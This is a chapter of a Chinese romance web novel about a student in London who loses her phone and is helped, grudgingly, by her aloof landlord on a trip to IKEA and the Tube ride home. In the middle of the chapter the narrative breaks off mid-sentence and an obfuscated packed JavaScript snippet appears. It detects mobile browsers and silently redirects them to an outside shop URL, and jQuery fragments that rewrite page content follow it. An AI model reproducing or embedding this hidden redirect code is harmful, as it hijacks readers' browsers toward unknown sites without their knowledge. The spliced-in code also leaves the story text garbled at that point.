3. 逛宜家

作品:《当我留学crush上房东室友

    江逝已经数不清这是第几次下课之后被一群学生围住,请教各种PPT里明明已经写得很清楚的问题,他的冷漠回应丝毫没有消退这群学生的热情,他正在考虑辞了这份工作,现在看来做助教除了浪费他的时间没有什么好处。


    手机震动提示有新邮件,江逝立马以有工作为由拒绝一位女学生请他喝咖啡的提议,快步离开。


    右手一滑开锁屏,江逝的脚步顿住。


    「亲爱的房东先生,很抱歉打扰您!我是叶雨辙,也就是您最新的租客,我刚刚遭遇了一件非常不幸的事情——手机被抢了,现在没有办法报警且在牛津街迷路了,我实在走投无路,可以麻烦你帮我一下吗?」


    迷路找他干嘛,江逝皱着眉头,回了个“「?」。


    叶雨辙也立马回复了一个「?」。


    江逝更了直接一点,回复道:「所以呢?」


    两个人就这样用邮件发一些信息量极小的东西。


    叶雨辙在咖啡厅对着电脑沉思,他这句“所以呢?”是什么意思,是“这跟我有什么关系”,还是“所以需要我怎么帮你”。


    哎不管了,拿不准的一律按照自己想要的答案去理解。


    叶雨辙又发了一封邮件过来:「所以能先用你的手机帮我报警,然后,来接我一下吗……?」


    一分钟后,收到新邮件:「坐地铁回公寓,找不到地铁站问路人,然后用备用电话报警。」


    叶雨辙被这冷漠的态度打击到了,继续回复,「我想过了,但是因为手机被偷,我立马把所有手机绑定的银行卡都冻结了,我今天也没带现金出门,没钱坐地铁,且我没有备用电话……」


    这封邮件发过去之后,对面沉默了好几分钟。


    这几分钟对于叶雨辙也十分漫长,她实在不想麻烦他,她已经在想写邮件请学校安排的PersonalTutor帮忙的可能性了。


    在她即将采用最无力的办法的时候,邮箱提示有新邮件。


    JIANG:「你在哪儿?」


    !!!柳暗花明又一村!


    冰山也有融化的时候!


    「我在牛津街的星巴克。」


    JIANG:「半个小时。」


    「好好好,不急不急。」


    咖啡店门口人头攒动,叶雨辙写着电子日志,每隔几分钟就往门口看一下,然后垂头轻抿一口咖啡。


    不到半个小时,就远远地在人群里看到一个穿燕麦色半拉链卫衣的男人,简单的黑色长裤,头发垂顺,极大程度地收敛起了他身上那股野性,叶雨辙还没见过他这么阳间的样子,差点认不出来。


    等人走进店里,冷淡的眼神无声地扫了一圈店内,轻易锁定了她。好吧,她确定了这还是那个没有耐心、脾气很差的房东。


    叶雨辙有点不好意思地站起来说:“不好意思啊,麻烦你了,但我手机丢了没有其他人的联系方式,只能用电脑给你发过邮件。”


    江逝嗯了一声,把自己的手机递给她,叶雨辙接过手机,站起来,示意他坐自己的位子,自己则到咖啡店门口去打电话报警。


    江逝坐着没事干,目光落下,看到她的电脑和她刚刚喝了两口的咖啡。


    叶雨辙站得不远,隐约能听到她地道的英式英语,流利地跟警察叙述发生了什么,交代自己的手机型号和IMEI号,以及留下联系方式,全程冷静得像丢手机的人不是她。


    没两分钟人就回来了,“谢谢你的手机,我这边处理好了,我们走吧。”


    江逝看着她,没动弹。


    叶雨辙不明所以,“怎么了?”


    “不是所有卡都冻结了,且没有现金吗?你怎么买的咖啡?”


    叶雨辙愣了一秒,笑了出来:“什么意思,觉得我是故意骗你过来的?”


    “我没这么说。“


    叶雨辙轻蔑地笑了一下:“我是他们家的老会员了,这杯咖啡是我用积分兑换的,怎么样帅哥,还觉得我是想方设法让你过来接我的吗?”


    江逝不理她的阴阳怪气,起身准备走。


    叶雨辙气不过,跟在他身后说:“我觉得我有必要和你澄清一下,我们见面之前我一直以为你是个中年大叔,所以那天晚上我没想过你就是房东。而我作为一个成年人,尤其是一个姿色还不错的成年人,遇到一个酒吧男人尾随到家门口,有那样的猜想是不是很正常?”


    江逝不说话,叶雨辙接着说:“我们住在一起一周了,我从来打扰或者骚扰过你,但你今天又误会我,我觉得你对我抱有一些偏见。”


    江逝没吭声,叶雨辙也不逼他,想必他也认识到了自己的错误,但碍于面子不好意思道歉。


    走到地铁站钱,江逝却没有拐弯进去,而是接着往前走。叶雨辙顿住脚步问:“不是坐地铁回去吗?你还有其他事?”


    江逝看了她一眼,说:“你不是准备去宜家买东西吗,不买了?”


    原来他偷听了自己打电话,“买是要买,但我手机被抢也付不了……”,叶雨辙没说完就意识到了什么,试探性地看向江逝。


    对面的人眼色略微有点不自然,眼睛到处看了一圈,最后转身看向前面,“我先帮你付,你卡解冻了再还我。”


    说完就直接往前走。


    噗,白出国待这么多年了,一点没学会外国友人坦率表达歉意的优点。


    叶雨辙之前就发现了,这人在生活上可以说是相当潦草和随便,他不在家的时候,他的房间从来不关门,因为里面除了一张床一个衣柜可以说空无一物。


    他像一个机器一样,每天只需要定时回到这里充六个小时电就离开,根本谈不上生活。


    叶雨辙怀疑,他在外面还有别的家。


    “你,每天晚上都会去酒吧吗?”


    “嗯。”


    “所以你是全职酒吧乐手?收入能支撑生活吗?”


    “我不靠这个生活。”


    哦,她忘了,他是个在伦敦有好几处房产的人。“那你,白天干嘛呢?”


    江逝不说话了,叶雨辙猜他大概是不太习惯别人对他的生活连续打探,也就识趣地不再提问。


    叶雨辙看到货架上放着各式杯子盘子,拿着好看的挑了半天,觉得自己一个人用不了那么多,最后只买了一套。


    结果结账的时候发现另外一套不知道什么时候也放进了购物车,她看向江逝,对方淡淡地说:“一起拿上吧,我有时候可能也会用,这个你不用付钱给我。”


    拉倒吧,她查燃气费记录的时候就发现这公寓至少有两年没开过火了。


    回去的路上,两个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097017|195664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人沉默得出奇,伦敦的地铁太小太闷,叶雨辙被闷得有些难受,想找点话题来转移注意力。


    “我前两天,在网上找到了你们乐队发的专辑。”


    话音一落地,江逝浑身微不可见地僵住,她是说自己读博那两年鼓捣出来的破烂玩意儿?这种东西是怎么找到的,这得翻到谷歌的第15页才能看到吧。


    叶雨辙很满意他这副有点惊讶的表情,作为学新闻的,挖掘资料这种事情不过是基本功。“《灰色英伦》是吧,我都听完了,还挺——”


    江逝默不作声,但抬头看她,好像有点紧张她后面即将出现的形容词。


    “有意思的。我不是特别懂摇滚,但我以为你会写那种特别暗黑疯狂的朋克音乐,结果我听完感觉是带点乡村音乐气质的音乐,还挺温暖的。”


    温暖这个词和面前这个24小时臭脸的男人搭不上一点边儿,弄得他脸上的表情都有点不自在,清了半天嗓子才说一句话,“哦,那是前两年瞎写的,你就随便一听。”


    “没想过填词吗?”


    “试过,没有满意的。左飞,就是那天酒吧的贝斯手,当时还找了个学文学的人来填,但写得太烂了。”


    可以想像,像他这种人,不够好的就完全否定,一点余地也不留,“这也正常,写曲子的人是你,人家又不知道你想表达什么,自然很难写好。”


    “没有耳朵就不要搞音乐。”


    。。。


    好刻薄啊……


    想她当时学新闻的时候,相信的也是“针砭时弊”那一套,总是一针见血地说问题,但职场这个地方,会慢慢把人变成另一副模样。


    有想法不能直接说,要徐徐图之,私下搜集同事意见、揣测领导态度、寻找合适时机,最重要的是草拟一套温和、含蓄又恭敬地措辞。


    没什么是一定正确的,都是人的选择而已。


    江逝意识到自己有点过了,咳了一声转移话题:“你是什么时候学的架子鼓,打得不错。”


    叶雨辙笑了一声,“我是得到毒舌乐评人的认可了吗?高中学的,那时候所有人都在争分夺秒地刷题,我偏不,我不想生活里只有一件事,无论这件事是什么,所以闹着要玩乐器,玩一个最吵的。”


    “不想生活里只有一件事,所以你来留学也是为了这个?”


    叶雨辙的笑容卡了一瞬间,好像不太知道怎么回答这个问题,“不全是吧。”


    她没再继续说,正常人见对方为难都会体面地略过,但江逝不是正常人,他直直地看着她,等着她继续说真实的原因。


    叶雨辙觉得自己好像没办法对这双眼睛说不,叹一口气,只能坦诚回答到:“有一部分是因为这个,另一部分是因为我中途妥协了,过了三年全部生活都是工作的日子,后来发现——不开心,感觉自己心脏也也没有激动过了,银行卡数字在增加,但对生活没有盼头,人长久地凝固了,我受不了,所以来留学了。”她转头看了眼江逝,“有点矫情,还有点装,是不是?”


    江逝没说话,看了眼身后的站台,说:“准备下车吧。”


    两人刚走到门口,地铁门打开,外面的风呼啸地拥进来,带着他清澈的声音:“不矫情,有的人想要钱,有的人想要自由,你只是想找到自己的意义,这无可厚非。”